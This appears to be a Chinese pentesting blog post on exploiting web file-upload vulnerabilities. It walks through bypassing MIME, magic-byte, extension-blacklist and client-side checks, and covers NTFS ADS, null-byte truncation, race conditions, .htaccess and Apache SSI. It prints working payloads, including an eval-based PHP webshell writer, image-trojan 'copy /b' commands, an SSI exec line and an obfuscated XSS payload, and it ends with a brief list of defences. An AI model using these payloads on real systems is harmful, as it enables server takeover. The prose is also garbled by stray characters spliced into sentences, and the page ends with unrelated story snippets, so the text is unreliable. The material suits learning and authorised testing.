淺談文件上傳漏洞利用

前言:


實習(xí)工作以后,我才發(fā)現(xiàn)自己對于滲透測試還沒形成自己的測試體系,對于一些常見的漏洞測試方法了解得不夠全顷霹,更加認(rèn)識到知識積累的重要性』髦ǎ總而言之淋淀,一入安全深似海~

文件上傳漏洞利用條件:


1、上傳的文件能被Web服務(wù)器當(dāng)做腳本來執(zhí)行
2姨拥、我們能夠訪問到上傳文件的路徑

代碼審計基礎(chǔ):


關(guān)于 PHP 中 $_FILES 數(shù)組的使用方法:

$_FILES['file']['name'] # 客戶端文件名稱
$_FILES['file']['type'] # 文件的 MIME 類型
$_FILES['file']['size'] # 文件大小單位字節(jié)
$_FILES['file']['tmp_name'] # 文件被上傳后在服務(wù)器端的臨時文件名绅喉,可以在 php.ini 中指定

防御函數(shù):

$file_name = trim($_FILES['upload_file']['name'])`;
$file_name = deldot($file_name);//刪除文件名末尾的點
$file_ext = strrchr($file_name, '.');//查找字符串在另一個字符串中最后一次出現(xiàn)的位置,并返回從該位置到字符串結(jié)尾的所有字符叫乌。
$file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

文件上傳常見校驗方式:


  1. 服務(wù)端校驗:
  • 文件頭 content-type 字段校驗
  • 文件內(nèi)容頭校驗(GIF89a)
  • 后綴名黑名單校驗
  • 后綴名白名單校驗
  • 自定義正則校驗
  • WAF設(shè)備校驗(根據(jù)不同的 WAF 產(chǎn)品而定)
  1. 客戶端 javascript 校驗(一般只校驗后綴名)

常見繞過方式:


  • PUT 方法:

WebDAV 是一種基于 HTTP 1.1 協(xié)議的通信協(xié)議.它擴展了 HTTP 1.1柴罐,在 GET、POST憨奸、HEAD 等幾個 HTTP 標(biāo)準(zhǔn)方法以外添加了一些新的方法革屠。使應(yīng)用程序可直接對 Web Server 直接讀寫,并支持寫文件鎖定 (Locking) 及解鎖 (Unlock)排宰,還可以支持文件的版本控制似芝。

當(dāng) WebDAV 開啟 PUT,MOVE板甘,COPY党瓮,DELETE 方法時,攻擊者就可以向服務(wù)器上傳危險腳本文件盐类。

PUT:由于PUT方法自身不帶驗證機制寞奸,利用PUT方法可以向服務(wù)器上傳文件,所以惡意攻擊者可以上傳木馬等惡意文件在跳。
DELETE:利用DELETE方法可以刪除服務(wù)器上特定的資源文件枪萄,造成惡意攻擊。
OPTIONS:將會造成服務(wù)器信息暴露猫妙,如中間件版本瓷翻、支持的HTTP方法等。
TRACE:可以回顯服務(wù)器收到的請求割坠,主要用于測試或診斷齐帚,一般都會存在反射型跨站漏洞

我們可以將請求方法設(shè)置為OPTIONS,來查看服務(wù)器支持的請求方法彼哼。有些網(wǎng)站開啟了WebDAV对妄,并且管理員配置不當(dāng),導(dǎo)致支持危險的HTTP方法:

  • JavaScript 校驗:

客戶端 JS 驗證通常做法是驗證上傳文件的擴展名是否符合驗證條件,我們可以去除input標(biāo)簽的accept屬性
示例代碼如下:

<?php
//文件上傳漏洞演示腳本之js驗證
$uploaddir = 'uploads/';
if (isset($_POST['submit'])) {
    if (file_exists($uploaddir)) {
        if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploaddir . '/' . $_FILES['upfile']['name'])) {
            echo '文件上傳成功沪羔,保存于:' . $uploaddir . $_FILES['upfile']['name'] . "\n";
        }
    } else {
        exit($uploaddir . '文件夾不存在饥伊,請手工創(chuàng)建!');
    }
    //print_r($_FILES);
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html;charset=gbk"/>
    <meta http-equiv="content-language" content="zh-CN"/>
    <title>文件上傳漏洞演示腳本--JS驗證實例</title>
    <script type="text/javascript">
       function checkFile() {
            var file = document.getElementsByName('upfile')[0].value;
            if (file == null || file == "") {
                alert("你還沒有選擇任何文件蔫饰,不能上傳!");
                return false;
            }
            //定義允許上傳的文件類型
            var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
            //提取上傳文件的類型
            var ext_name = file.substring(file.lastIndexOf("."));
            //alert(ext_name);
            //alert(ext_name + "|");
            //判斷上傳文件類型是否允許上傳
            if (allow_ext.indexOf(ext_name + "|") == -1) {
                var errMsg = "該文件不允許上傳琅豆,請上傳" + allow_ext + "類型的文件,當(dāng)前文件類型為:" +     ext_name;
                alert(errMsg);
                return false;
            }
        }
    </script>
<body>
<h3>文件上傳漏洞演示腳本--JS驗證實例</h3>
<form action="" method="post" enctype="multipart/form-data" name="upload" onsubmit="return     checkFile()">
    <input type="hidden" name="MAX_FILE_SIZE" value="204800"/>
    請選擇要上傳的文件:<input type="file" name="upfile"/>
    <input type="submit" name="submit" value="上傳"/>
</form>
</body>
</html>

直接通過 F12 修改 js 代碼繞過驗證:

或者使用 burp 抓包直接提交篓吁,繞過 js 驗證

  • 服務(wù)器端校驗之文件頭 content-type 字段校驗(服務(wù)端 MIME 類型檢測):

MIME type 的縮寫為 (Multipurpose Internet Mail Extensions) 代表互聯(lián)網(wǎng)媒體類型 (Internet media type)茫因,MIME 使用一個簡單的字符串組成,最初是為了標(biāo)識郵件 Email 附件的類型杖剪,在 html 文件中可以使用 content-type 屬性表示冻押,描述了文件類型的互聯(lián)網(wǎng)標(biāo)準(zhǔn)。

Response 對象通過設(shè)置 ContentType 使客戶端瀏覽器盛嘿,區(qū)分不同種類的數(shù)據(jù)洛巢,并根據(jù)不同的 MIME 調(diào)用瀏覽器內(nèi)不同的程序嵌入模塊來處理相應(yīng)的數(shù)據(jù)。

MIME類型格式:

# 類別/子類別; 參數(shù)
Content-Type: [type]/[subtype]; parameter

MIME 主類別:

text:用于標(biāo)準(zhǔn)化地表示的文本信息次兆,文本消息可以是多種字符集和或者多種格式的稿茉;
Multipart:用于連接消息體的多個部分構(gòu)成一個消息,這些部分可以是不同類型的數(shù)據(jù)芥炭;
Application:用于傳輸應(yīng)用程序數(shù)據(jù)或者二進制數(shù)據(jù)漓库;
Message:用于包裝一個 E-mail 消息;
Image:用于傳輸靜態(tài)圖片數(shù)據(jù)园蝠;
Audio:用于傳輸音頻或者音聲數(shù)據(jù)渺蒿;
Video:用于傳輸動態(tài)影像數(shù)據(jù),可以是與音頻編輯在一起的視頻數(shù)據(jù)格式彪薛。

常見MIME類型:

示例代碼:

<?php
if($_FILE['userfile']['type'] != "image/gif"){ //檢測content-type
    echo "sorry茂装,we only allow uploading GIF images";
    exit;
}
else
{
    echo "Upload success!";
}
?>

繞過手段:

通過burp修改MIME type,抓包修改content-type為允許的上傳類型:
image/jpeg陪汽、image/png训唱、image/gif等等

  • 后綴名黑名單校驗:

后端腳本檢測文件擴展名,數(shù)據(jù)提交到后端挚冤,后端的函數(shù)對上傳文件的后綴名進行檢測况增,比如黑名單檢測不允許上傳 .php 、.asp 后綴格式的文件

示例代碼:

#后端php檢測
$info=pathinfo($_FILES["file"]["name"]);
    $ext=$info['extension'];// 得到文件擴展名
    if (strtolower($ext) == "php") {   #黑名單檢測训挡,不允許上傳php格式的文件
            exit("不允許的后綴名");
          }

# 或者
<?php
$type = array("php"澳骤,"php3");
//判斷上傳文件類型
$fileext = fileext($_FILE['file']['name']);  # fileext函數(shù)用于獲取文件名的后綴
if(!in_array($fileext,$type)){
    echo "upload success!";
}
else{
    echo "sorry";
}
?>
  • 服務(wù)端基于文件頭檢測:

不同的圖片文件都有不同文件頭澜薄,如:

jpg:FF D8 FF E0 00 10 4A 46 49 46
png: 89 50 4E 47 0D 0A 1A 0A 00 00
gif: 47 49 46 38 39 61 26 02 6F 01
zip: 50 4B 03 04
.doc?.xls?.xlt?.ppt?.apr: D0 CF 11 E0 A1 B1 1A E1

繞過方式:繞過這個檢測只需要在惡意腳本前加上允許上傳文件的頭標(biāo)識

GIF89a
<?php phpinfo(); ?>

補充:jpg 格式圖片頭部是 JFIF 为肮,gif頭部是GIF89a,png頭部是%PNG

  • 服務(wù)端文件內(nèi)容拓展檢測:

如果服務(wù)器對上傳的文件進行了文件內(nèi)容檢測就只能上傳圖片了肤京,但是可以利用圖片和腳本文件制作一個圖片馬 如 1.jpg 和2.txt 前面的圖片盡量要簡單颊艳,不然容易干擾制作后的文件內(nèi)容解析茅特,后面的文檔是需要執(zhí)行的腳本文件:

copy /b 1.jpg + 2.txt = info.php
  • 雙文件上傳:

利用原理:

有兩個文件默認(rèn)是取第二個文件正常上傳,但是檢測值檢測第一個文件棋枕,所以修改數(shù)據(jù)包的時候可以修改第一個文件為正常文件白修,第二個文件為腳本木馬

  • 條件競爭上傳:

原理:

上傳文件時,服務(wù)器獲取文件重斑,先把它保存到臨時文件中(不是網(wǎng)站根目錄)兵睛,然后再上傳到網(wǎng)站根目錄,最后才進行判斷檢測(即先上傳后進行判斷與刪除)

利用思路:

利用一個時間差窥浪,使用多線程并發(fā)的訪問上傳的文件祖很,總會有一次在上傳文件到刪除文件這個時間段內(nèi)訪問到上傳的 php 文件,一旦我們成功訪問到了上傳的文件漾脂,那么它就會向服務(wù)器寫一個 shell

利用代碼:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>');?>
  • 其他繞過技巧:

1假颇、多個分號繞過:文件解析時,可能解析不到文件名骨稿,導(dǎo)致繞過拆融。

Content-Disposition: form-data;name="file_x";;;filename="test.php"

2、多加一個filename(HPP):

3啊终、多個Content-Disposition:

  • 繞過技巧小結(jié):

  • 上傳不符合 windows 文件命名規(guī)則的文件名
  • 大小寫繞過:針對對大小寫不敏感的系統(tǒng)如 windows:test.pHp
  • 空格繞過:用burp截斷镜豹,后在文件名末尾添加空格:test.php(空格)
  • 在 windows 下,下劃線是空格蓝牲,保存文件時下劃線被吃掉剩下 test.php:test.php_
  • 點號繞過:用burp截斷趟脂,后在文件名末尾添加.:test.php.
  • 路徑拼接繞過:最后一個點前有空格,適用于上傳的文件名沒有被修改:test.php. .
  • 特殊符合繞過:test.php::$DATA

上傳以上文件名會被 windows 系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容

  • 00截斷:

php5.3之前會把0x00當(dāng)做結(jié)束符,繞過白名單:
php版本小于5.3.4時例衍,可通過%00截斷文件后綴名昔期,如:filename="123.php%00.png"

  • Null Byte Injection空字節(jié)繞過:

插入空字節(jié)值的原因是某些應(yīng)用程序服務(wù)器腳本語言使用c/c++庫來檢查文件名和內(nèi)容。在C/C ++中佛玄,一行以/00結(jié)尾或稱為NullByte硼一。因此,只要解釋器在字符串的末尾看到一個空字節(jié)梦抢,就會停止讀取般贼,認(rèn)為它已經(jīng)到達(dá)字符串的末尾。

如奥吩,我們將要上傳的Happy.jpg的名稱更改為Happy.phpA.jpg哼蛆,然后上傳文件,在Burp中捕獲請求霞赫,切換到Hex視圖腮介。在字符串視圖中找到文件名。查看相應(yīng)的Hex表端衰,并將41('A')替換為00(為空字節(jié))叠洗。結(jié)果字符串變?yōu)镠appy.php(空).jpeg甘改。由于php解釋器在內(nèi)部使用C語言庫,它將停止讀取Happy.php后的文件名灭抑,文件將保存為Happy.php楼誓。

補充:該手法也可嘗試用于繞過waf,之前測試某省營業(yè)廳的時候通過空字節(jié)繞過導(dǎo)致XSS

  • 基于拓展名的繞過:

Asp:asa名挥、cer、cdx主守、web.config
Aspx:ashx禀倔、asmx、ascx
Php:php2参淫、php3救湖、php5、phtml涎才、pht鞋既、phpt
Jsp:jspx、jspf耍铜、jspa
perl:pl邑闺、pm、cgi棕兼、lib
Coldfusion:cfm陡舅、cfml、cfc伴挚、dbm

  • 利用 NTFS ADS 特性
上傳的文件名 服務(wù)器表面現(xiàn)象 生成的文件內(nèi)容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夾
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

詳情請參考:NTFS ADS的前世今生

  • Linux主機上的文件名大小寫敏感,文件后綴名大小混寫
  • 配合解析漏洞:

解析漏洞一般配合圖片馬進行利用:
制作圖片馬:

copy a.jpg /b + shell.php /a webshell.jpg

因為篇幅原因靶衍,不過多介紹,詳情請參考:服務(wù)器針對文件的解析漏洞匯總

  • 超長文件名截斷上傳:windows 258byte | linux 4096byte
  • 配合 .user.ini 配置文件本地包含文件茎芋,詳情請參考:.user.ini配置文件在滲透中的利用
  • 配合 Apache 的 .htaccess 文件上傳解析漏洞(測試失敗颅眶,待解決

htaccess文件是Apache服務(wù)器中的一個配置文件,負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁配置田弥。它可以實現(xiàn):網(wǎng)頁301重定向涛酗、自定義404錯誤頁面、改變文件擴展名偷厦、允許/阻止特定的用戶或者目錄的訪問煤杀、禁止目錄列表、配置默認(rèn)文檔等功能沪哺。

利用前提:

要在Apache中啟動執(zhí)行.htaccess沈自,必須在http.conf中設(shè)置AllowOverride All(默認(rèn)為None),并且啟動Rewrite模塊

編寫.htaccess辜妓,內(nèi)容編輯為:

AddType application/x-httpd-php .jpg

.htaccess 文件里的代碼可以讓 .jpg 后綴名文件格式的文件名以 php 格式解析

補充:


有時候翻看站點的js文件時會發(fā)現(xiàn)其泄露了文件上傳的接口地址枯途,這時我們可以構(gòu)造一個本地的文件上傳忌怎,并用Burp抓包post到該路徑,這里我以pikachu靶場舉例:

構(gòu)造一個本地的文件上傳:

<form action="http://192.168.107.145/pikachu1/vul/unsafeupload/clientcheck.php" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="uploadfile" id="uploadfile">
    <br>
    <input type="submit" name="submit" value="submit">
</form>

成功上傳文件:

小伙伴們可以參考:從代碼審計到拿下某菠菜客服站(文末抽獎送書)

上傳 HTML 文件:


很多網(wǎng)站采用黑名單的過濾機制酪夷,但是他們忘記了過濾 html 文件榴啸,這就造成了上傳html文件形成存儲型XSS或者利用html文件進行釣魚。

# 1.html
<%00EEEE<svg /\/\//ONLoad='a\u006c\u0065\u0072\u0074(1)'/\/\/\>svg>%0APayload

Bypass Waf技巧請參考:簡單粗暴的文件上傳漏洞

防御手段:


  1. 客戶端檢測晚岭,使用 js 對上傳圖片檢測鸥印,包括文件大小、文件擴展名坦报、文件類型等
  2. 服務(wù)端檢測库说,對文件大小、文件路徑片择、文件擴展名潜的、文件類型、文件內(nèi)容檢測字管、對文件重命名等
  3. 服務(wù)器端上傳目錄設(shè)置不可執(zhí)行權(quán)限
  4. 檢查網(wǎng)站有沒有文件解析漏洞和文件包含漏洞
  5. 將文件上傳到單獨的文件服務(wù)器啰挪,并且單獨設(shè)置文件服務(wù)器的域名

Apache SSI 遠(yuǎn)程命令執(zhí)行漏洞:


在測試任意文件上傳漏洞的時候,目標(biāo)服務(wù)端可能不允許上傳php后綴的文件嘲叔。如果目標(biāo)服務(wù)器開啟了SSI與CGI支持亡呵,我們可以上傳一個shtml文件

SSI:提供了一種對現(xiàn)有HTML文檔增加動態(tài)內(nèi)容的方法,不需要編寫復(fù)雜的JSP/PHP/ASP等程序或者調(diào)用CGI程序

利用如下語法即可執(zhí)行任意命令:

<!--#exec cmd="id" -->

成功上傳硫戈,然后訪問shell.shtml政己,可見命令已成功執(zhí)行:

參考如下:


Web漏洞|不安全的HTTP方法
簡單粗暴的文件上傳漏洞
Web漏洞 | 文件上傳漏洞

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者掏愁。
  • 序言:七十年代末歇由,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子果港,更是在濱河造成了極大的恐慌沦泌,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,602評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件辛掠,死亡現(xiàn)場離奇詭異谢谦,居然都是意外死亡,警方通過查閱死者的電腦和手機萝衩,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,442評論 2 382
  • 文/潘曉璐 我一進店門回挽,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人猩谊,你說我怎么就攤上這事千劈。” “怎么了牌捷?”我有些...
    開封第一講書人閱讀 152,878評論 0 344
  • 文/不壞的土叔 我叫張陵墙牌,是天一觀的道長涡驮。 經(jīng)常有香客問我,道長喜滨,這世上最難降的妖魔是什么捉捅? 我笑而不...
    開封第一講書人閱讀 55,306評論 1 279
  • 正文 為了忘掉前任,我火速辦了婚禮虽风,結(jié)果婚禮上棒口,老公的妹妹穿的比我還像新娘。我一直安慰自己辜膝,他們只是感情好无牵,可當(dāng)我...
    茶點故事閱讀 64,330評論 5 373
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著内舟,像睡著了一般。 火紅的嫁衣襯著肌膚如雪初橘。 梳的紋絲不亂的頭發(fā)上验游,一...
    開封第一講書人閱讀 49,071評論 1 285
  • 那天,我揣著相機與錄音保檐,去河邊找鬼耕蝉。 笑死,一個胖子當(dāng)著我的面吹牛夜只,可吹牛的內(nèi)容都是我干的垒在。 我是一名探鬼主播,決...
    沈念sama閱讀 38,382評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼扔亥,長吁一口氣:“原來是場噩夢啊……” “哼场躯!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起旅挤,我...
    開封第一講書人閱讀 37,006評論 0 259
  • 序言:老撾萬榮一對情侶失蹤踢关,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后粘茄,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體签舞,經(jīng)...
    沈念sama閱讀 43,512評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,965評論 2 325
  • 正文 我和宋清朗相戀三年柒瓣,在試婚紗的時候發(fā)現(xiàn)自己被綠了儒搭。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,094評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡芙贫,死狀恐怖搂鲫,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情磺平,我是刑警寧澤默穴,帶...
    沈念sama閱讀 33,732評論 4 323
  • 正文 年R本政府宣布怔檩,位于F島的核電站,受9級特大地震影響蓄诽,放射性物質(zhì)發(fā)生泄漏薛训。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,283評論 3 307
  • 文/蒙蒙 一仑氛、第九天 我趴在偏房一處隱蔽的房頂上張望乙埃。 院中可真熱鬧,春花似錦锯岖、人聲如沸介袜。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,286評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽遇伞。三九已至,卻和暖如春捶牢,著一層夾襖步出監(jiān)牢的瞬間鸠珠,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,512評論 1 262
  • 我被黑心中介騙來泰國打工秋麸, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留渐排,地道東北人。 一個月前我還...
    沈念sama閱讀 45,536評論 2 354
  • 正文 我出身青樓灸蟆,卻偏偏與公主長得像驯耻,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子炒考,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,828評論 2 345

推薦閱讀更多精彩內(nèi)容